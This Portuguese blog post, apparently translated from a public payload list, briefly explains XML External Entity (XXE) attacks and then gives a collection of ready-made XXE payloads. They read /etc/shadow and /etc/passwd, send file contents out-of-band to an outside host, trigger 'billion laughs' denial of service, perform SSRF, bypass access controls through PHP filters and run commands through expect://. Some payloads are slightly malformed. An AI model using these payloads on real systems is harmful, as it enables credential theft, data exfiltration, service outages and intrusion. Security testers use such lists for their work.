Lista de carga útil da injeção da entidade externa XML (XXE)

Um ataque de XML External Entity (XXE) (às vezes chamado de ataque de injeção XXE) é um tipo de ataque que abusa de um recurso amplamente disponível, mas raramente usado, de analisadores XML. Usando o XXE, um invasor pode causar negação de serviço (DoS), além de acessar conteúdo e serviços locais e remotos. O XXE pode ser usado para executar a falsificação de solicitações do lado do servidor (SSRF) identificando o aplicativo Web para fazer solicitações para outros aplicativos. Em alguns casos, o XXE pode até ativar a verificação de portas e levar à execução remota de código. Existem dois tipos de ataques XXE: dentro da banda e fora da banda (OOB-XXE).

Existem vários tipos de ataques XXE:

XXE Tipo de AtaqueDescrição
Explorando XXE para recuperar arquivosOnde uma entidade externa é definida contendo o conteúdo de um arquivo e retornada na resposta do aplicativo.
Explorando XXE para executar ataques SSRFOnde uma entidade externa é definida com base em uma URL para um sistema backend.
Explorar os dados cegos de exfiltrar XXE fora da bandaOnde dados confidenciais são transmitidos do servidor de aplicativos para um sistema que o invasor controla.
Explorando o XXE cego para recuperar dados por meio de mensagens de erroOnde o invasor pode acionar uma mensagem de erro de análise contendo dados confidenciais.

Cargas úteis da injeção de entidade externa XML (XXE)

XXE: Exemplo básico de XML

<!--?xml version="1.0" ?-->
<userInfo>
 <firstName>John</firstName>
 <lastName>Doe</lastName>
</userInfo>

XXE: Exemplo de entidade

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
 <userInfo>
  <firstName>John</firstName>
  <lastName>&example;</lastName>
 </userInfo>

XXE: divulgação de arquivos

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]>
<userInfo>
 <firstName>John</firstName>
 <lastName>&ent;</lastName>
</userInfo>

XXE: Exemplo de negação de serviço

<!--?xml version="1.0" ?-->
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<tag>&lol9;</tag>

Exemplo de inclusão de arquivo local XXE:

<?xml version="1.0"?>
<!DOCTYPE foo [  
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>

XXE: Exemplo de inclusão de arquivo local cego (quando o primeiro caso não retorna nada.)

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]><foo>&blind;</foo>

XXE: Ignorar Controle de Acesso (Carregando Recursos Restritos – exemplo PHP)

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">]>
<foo><result>∾</result></foo>

XXE: Exemplo de SSRF (falsificação de solicitação do lado do servidor)

<?xml version="1.0"?>
<!DOCTYPE foo [  
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo>

XXE: (ataque remoto – através da inclusão de XML externo)

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY test SYSTEM "https://example.com/entity1.xml">]>
<lolz><lol>3..2..1...&test<lol></lolz>

XXE: Exemplo UTF-7

<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

XXE: Base64 codificado

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

XXE: XXE dentro do exemplo SOAP

<soap:Body>
  <foo>
    <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>
  </foo>
</soap:Body>

XXE: XXE dentro do SVG

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
    <image xlink:href="expect://ls"></image>
</svg>

Referências:
Entidade externa XML (XXE) Processando testes de
prevenção de entidade externa XML
para injeção de XML (OTG-INPVAL-008)
O que são ataques de entidade externa XML (XXE)

Fonte XXE-Injection-Payload-List

Seja o primeiro a comentar

Deixe uma resposta

O seu endereço de email não será publicado.


*